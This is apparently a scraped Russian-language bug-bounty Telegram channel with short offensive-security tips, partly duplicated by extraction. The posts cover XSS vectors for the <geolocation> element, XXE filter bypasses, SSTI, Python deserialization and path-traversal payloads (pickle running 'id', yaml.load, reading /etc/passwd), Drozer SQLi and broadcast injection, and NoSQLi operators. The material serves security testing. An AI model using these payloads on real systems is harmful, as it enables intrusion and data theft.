Теги
Работает в🌐 и 🌐 (в Firefox атрибут отключён по умолчанию).
При клике браузер отправляет POST-запрос, в заголовке
Если страница загружена по HTTP или эндпоинт
📌 Пример PoC
<a>/<area> могут раскрывать URL-адреса страниц + креды (источник, путь, запрос, фрагмент post-click) с помощью атрибута href="#" с атрибутом ping, указывающим на другое место.Работает в
pingПри клике браузер отправляет POST-запрос, в заголовке
Ping-To указывается URL. referrer-policy игнорируется — доставку ограничивает только директива connect-src в CSP.Если страница загружена по HTTP или эндпоинт
ping находится в том же origin, то ещё отправляется заголовок Ping-From с полным URL (включая фрагмент pre-click).Please open Telegram to view this post
VIEW IN TELEGRAM
❤10👍2
InQL v6.1.0: как новая версия делает ее универсальной тулзой для тестирования безопасности GraphQL 🚨
Когда под капотом неизвестный GraphQL-стек, самое затратное — это разведка. InQL 6.1.0 сокращает этот этап до минимума.
Используй Fingerprinter движка InQL в Burp, чтобы за считанные секунды идентифицировать стек GraphQL и избавить себя от проб и ошибок. Разберем эту и другие новые фичи подробнее⤵️
➡️ Брутфорсер схемы GraphQL (фича вдохновлена CLI-тулзой Clairvoyance Никиты Ступина)
До сих пор InQL был наиболее полезен, когда на сервере была включена функция introspection или когда у тебя уже был файл со схемой GraphQL.
В версии 6.1.0 тулза может попытаться восстановить схему бэкенда, используя подсказки “did you mean…”, поддерживаемые многими реализациями серверов GraphQL.
➡️ GraphQL Server Engine Fingerprinter
Новая версия InQL теперь может определять движок GraphQL, используемый внутренним сервером.
В каждом движке GraphQL реализованы немного отличающиеся друг от друга средства защиты и небезопасные настройки по умолчанию.
Это открывает возможности для использования уникальных векторов атак, характерных для конкретного движка.
➡️ Автоматическая генерация переменных (дефолтные значения)
Хотя предыдущие версии InQL отлично подходили для анализа схем, поиска циклических ссылок и определения интересующих точек, создание корректного запроса могло вызывать затруднения.
Тулза не поддерживала переменные, поэтому их приходилось вводить вручную. В новой версии эта проблема решена.
Когда под капотом неизвестный GraphQL-стек, самое затратное — это разведка. InQL 6.1.0 сокращает этот этап до минимума.
Используй Fingerprinter движка InQL в Burp, чтобы за считанные секунды идентифицировать стек GraphQL и избавить себя от проб и ошибок. Разберем эту и другие новые фичи подробнее
До сих пор InQL был наиболее полезен, когда на сервере была включена функция introspection или когда у тебя уже был файл со схемой GraphQL.
В версии 6.1.0 тулза может попытаться восстановить схему бэкенда, используя подсказки “did you mean…”, поддерживаемые многими реализациями серверов GraphQL.
Новая версия InQL теперь может определять движок GraphQL, используемый внутренним сервером.
В каждом движке GraphQL реализованы немного отличающиеся друг от друга средства защиты и небезопасные настройки по умолчанию.
Это открывает возможности для использования уникальных векторов атак, характерных для конкретного движка.
Хотя предыдущие версии InQL отлично подходили для анализа схем, поиска циклических ссылок и определения интересующих точек, создание корректного запроса могло вызывать затруднения.
Тулза не поддерживала переменные, поэтому их приходилось вводить вручную. В новой версии эта проблема решена.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👌2❤1
HTML-элемент <geolocation> → новый вектор для эксплуатации XSS 🌐
С января 2026 (Chrome 144+) в браузере официально появился декларативный элемент
Он задумывался как удобная альтернатива
Новые векторы уже в шпаргалке от PortSwigger:
С января 2026 (Chrome 144+) в браузере официально появился декларативный элемент
<geolocation>.Он задумывался как удобная альтернатива
navigator.geolocation, чтобы запросы локации выглядели менее подозрительно и чаще получали разрешение от пользователя.Новые векторы уже в шпаргалке от PortSwigger:
<geolocation onvalidationstatuschange=alert(1)>
<geolocation autolocate onlocation=alert(1)>
<geolocation onpromptdismiss=alert(1)>
<geolocation onpromptaction=alert(1)>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21❤2😈1
Техники байпаса XXE: заметки багхантера 🤔
Средства защиты от XXE сильно различаются по уровню сложности, и многие из них можно обойти.
1️⃣ Байпас фильтров валидации входных данных
⚫️ UTF-16 вместо ASCII
Во многих приложениях используются простые блэклисты ключевых слов, которые можно забайпасить с помощью кодировки и обфускации.
Парсер XML по-прежнему будет корректно обрабатывать данные, но фильтры на основе ASCII не обнаружат вредоносный контент.
💡 Больше примеров кодировок XML и пограничных случаев — в райтапе "Evil XML with Two Encodings" Арсения Шароглазова
⚫️ HTML-entity кодирование
2️⃣ Параметрические сущности
Если приложение блокирует прямое объявление
3️⃣ XXE в нестандартных типах контента
⚫️ Изображения в формате SVG
⚫️ SOAP-эндпоинты
4️⃣ XInclude-атаки при ограничении использования DOCTYPE
Частая защита — просто вырезать
Средства защиты от XXE сильно различаются по уровню сложности, и многие из них можно обойти.
Во многих приложениях используются простые блэклисты ключевых слов, которые можно забайпасить с помощью кодировки и обфускации.
$ cat payload.xml | iconv-f UTF-8 -t UTF-16BE > utf16_payload.xml
Парсер XML по-прежнему будет корректно обрабатывать данные, но фильтры на основе ASCII не обнаружат вредоносный контент.
Если приложение блокирует прямое объявление
ENTITY, попробуй ввести её косвенно: подключить внешний DTD, а уже внутри него разместить пэйлоад.Частая защита — просто вырезать
DOCTYPE. Но если парсер поддерживает XInclude, это не спасает. XInclude позволяет подключать внешние ресурсы без DOCTYPE.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👌6❤2
Error-based Server-Side Template Injection 🔥
В 2015 году James Kettle опубликовал исследование о Server-Side Template Injection (SSTI), которое описало классический вектор внедрения шаблонов на стороне сервера.
Дальше сообщество сосредоточилось на генерации пэйлоадов под разные языки и движки.
Ресёрч Влада Корчагина «Успешные ошибки: новые техники code injection и SSTI»(#1 в Top 10 web hacking techniques of 2025 ) предлагает другой подход — через эксплуатацию ошибок.
В результате сформировались две техники:
1️⃣ Error-Based
2️⃣ Boolean Error-Based Blind
Ключевые идеи:
🟠 Перенос методологии SQL-инъекций в шаблонные движки
🟠 Эксплуатация подробных сообщений об ошибках для утечки данных
🟠 Деление на ноль как булевый оракул
🟠
Погрузись подробнее в тему:
🔗 Successful Errors: New Code Injection and SSTI Techniques
🔗 Доклад Влада на OFFZONE
В 2015 году James Kettle опубликовал исследование о Server-Side Template Injection (SSTI), которое описало классический вектор внедрения шаблонов на стороне сервера.
Дальше сообщество сосредоточилось на генерации пэйлоадов под разные языки и движки.
Ресёрч Влада Корчагина «Успешные ошибки: новые техники code injection и SSTI»
В результате сформировались две техники:
Ключевые идеи:
(1/0).zxy.zxy — универсальный detection-payload (polyglot)Погрузись подробнее в тему:
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤2
Подводные камни Python: как ошибки разработчиков превращаются в уязвимости 🐍
Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.
На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:
⚫️
⚫️
⚫️
⚫️
⚫️ Функция load библиотеки PyYAML (внешняя либа):
⚫️ Python3 class pollution (built-in): некорректное присвоение атрибутов может позволить изменять структуру классов или объектов
Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия)💡
Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.
На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:
os.path.join (built-in): если один из аргументов начинается с /, Python игнорирует предыдущие сегменты путиimport os
payload = "/etc/passwd"
file = os.path.join("/user/uploads/", payload)
with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”
pathlib.joinpath (built-in): если какой-либо сегмент является абсолютным путём, он отбрасывает предыдущие части и продолжает работу с абсолютным путёмfrom pathlib import Path
payload = "/etc/passwd"
file = Path("/var/www/html").joinpath("files", payload)
with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”
pickle.loads (built-in): pickle.loads() может выполнять произвольные объекты Pythonimport pickle, base64
payload = "gASVHQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg=="
# Выполнить код при десериализации (системная команда ”id”)
file = pickle.loads(base64.b64decode(payload))
urllib.parse.urljoin (built-in): формирует итоговый URL, объединяя базовый URL с одним или несколькими компонентами URLfrom urllib.parse import urljoin
payload = "http://evil.com/"
print(urljoin("http://example.com/", payload))
# вывод: http://evil.com/
yaml.load() может выполнять произвольный Python-код, если ты контролируешь YAMLimport yaml
user_data = "!!python/object/apply:print ['pwned']"
result = yaml.load(user_data, Loader=yaml.Loader)
Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11❤🔥2👍2👎2🔥1
Разведка Android-приложений: Drozer и анализ версий 📱
Статический анализ — только половина работы. Многие баги проявляются только во время выполнения приложения или появляются между версиями.
Лови несколько кейсов, которые часто находят то, что пропускают стандартные тулзы🔽
1️⃣ Runtime-тестирование IPC через Drozer
Drozer позволяет напрямую взаимодействовать с компонентами Android-приложения: activities, services, broadcast, receivers, content providers.
После установки можно быстро проверить реальную поверхность атаки:
Дальше — интереснее. Например, можно попробовать запустить экспортированную дебаг activity:
Такие activity иногда обходят авторизацию, раскрывают внутренние данные, дают доступ к скрытым фичам приложения.
2️⃣ Content provider → SQL-инъекция
Content providers часто работают как база данных между приложениями. Если provider экспортирован, можно потестить пэйлоад для SQLi:
3️⃣ Broadcast injection
Некоторые приложения слушают системные broadcast-события. Если действие не защищено, его может вызвать любое приложение:
Так иногда удаётся триггерить фичи, которые разработчики считали внутренними.
4️⃣ Сравнение версий для анализа регрессий безопасности
Когда разработчики исправляют уязвимость, они часто закрывают конкретный кейс, а не весь класс проблемы.
Поэтому сравнение версий может показать:
✅ какие проверки добавили,
✅ какие дебаг фичи удалили,
✅ какие API появились.
Быстрый способ посмотреть изменения:
💡 Иногда разработчики случайно выкатывают дебаг фичи в прод, а в следующем релизе убирают их. Этот короткий промежуток между версиями — отличная возможность протестить функциональность, пока она существует.
Посты по теме:
🔗 Первичный анализ любого APK-файла: советы багхантеру
🔗 Упрощаем обработку приложений APK / XAPK / APKM / DEX / JAR / WAR с помощью BFScan
🔗 Реверс приложений на Flutter
Статический анализ — только половина работы. Многие баги проявляются только во время выполнения приложения или появляются между версиями.
Лови несколько кейсов, которые часто находят то, что пропускают стандартные тулзы
Drozer позволяет напрямую взаимодействовать с компонентами Android-приложения: activities, services, broadcast, receivers, content providers.
После установки можно быстро проверить реальную поверхность атаки:
run app.package.attacksurface com.target.app
Дальше — интереснее. Например, можно попробовать запустить экспортированную дебаг activity:
run app.activity.start --component com.target.app com.target.app.DebugActivity
Такие activity иногда обходят авторизацию, раскрывают внутренние данные, дают доступ к скрытым фичам приложения.
Content providers часто работают как база данных между приложениями. Если provider экспортирован, можно потестить пэйлоад для SQLi:
run app.provider.query content://com.target.app.provider/users --projection "* FROM users; --"
Некоторые приложения слушают системные broadcast-события. Если действие не защищено, его может вызвать любое приложение:
run app.broadcast.send --action com.target.app.PRIVILEGED_ACTION --extra string key value
Так иногда удаётся триггерить фичи, которые разработчики считали внутренними.
Когда разработчики исправляют уязвимость, они часто закрывают конкретный кейс, а не весь класс проблемы.
Поэтому сравнение версий может показать:
Быстрый способ посмотреть изменения:
apktool d target_v1.0.apk -o v1
apktool d target_v1.1.apk -o v2
diff -r v1/ v2/
Посты по теме:
🔗 Первичный анализ любого APK-файла: советы багхантеру
🔗 Упрощаем обработку приложений APK / XAPK / APKM / DEX / JAR / WAR с помощью BFScan
🔗 Реверс приложений на Flutter
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍1👨💻1
Эксплуатация NoSQLi с помощью массивов параметров 💨
Если приложение не принимает JSON и работает только с
Многие серверные либы автоматически преобразуют параметры вида:
в объект:
Таким образом, можно передавать NoSQL-операторы через обычные параметры формы🔥
Ключевое:
➡️ Парсер на сервере преобразует массивы в объекты
➡️ Ограничение по
➡️ NoSQL-операторы можно внедрять без JSON
Если приложение не принимает JSON и работает только с
application/x-www-form-urlencoded, это не защита от NoSQL-инъекций.Многие серверные либы автоматически преобразуют параметры вида:
username[$ne]=1
в объект:
{ username: { $ne: 1 } }Таким образом, можно передавать NoSQL-операторы через обычные параметры формы
Ключевое:
Content-Type не спасает от инъекцииPlease open Telegram to view this post
VIEW IN TELEGRAM
👍8❤2
8 недооценённых фич Burp Suite, которые экономят часы тестирования ⚡️
Большинство багхантеров ограничиваются использованием Proxy (Interceptor), Repeater и Intruder🥔
Но есть функции, которые реально ускоряют работу и помогают находить больше багов:
1️⃣ Macros → автоматизация рутины (полезно, когда токен меняется на каждый запрос)
2️⃣ Match & Replace → автоматическая подмена данных в запросах/ответах
3️⃣ Logger → продвинутый логгер поверх HTTP history (быстрый поиск аномалий)
4️⃣ Comparer → сравнение запросов и ответов
5️⃣ Find scripts → сбор всех JS-файлов и скрытых API
6️⃣ Send group in parallel → отправка запросов одновременно (особенно полезно при тестировании race condition)
7️⃣ Remove JS validation → обход фронтенд-валидации форм
8️⃣ Unhide hidden inputs → поиск скрытых параметров
Большинство багхантеров ограничиваются использованием Proxy (Interceptor), Repeater и Intruder
Но есть функции, которые реально ускоряют работу и помогают находить больше багов:
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤12👍9👏3🫡3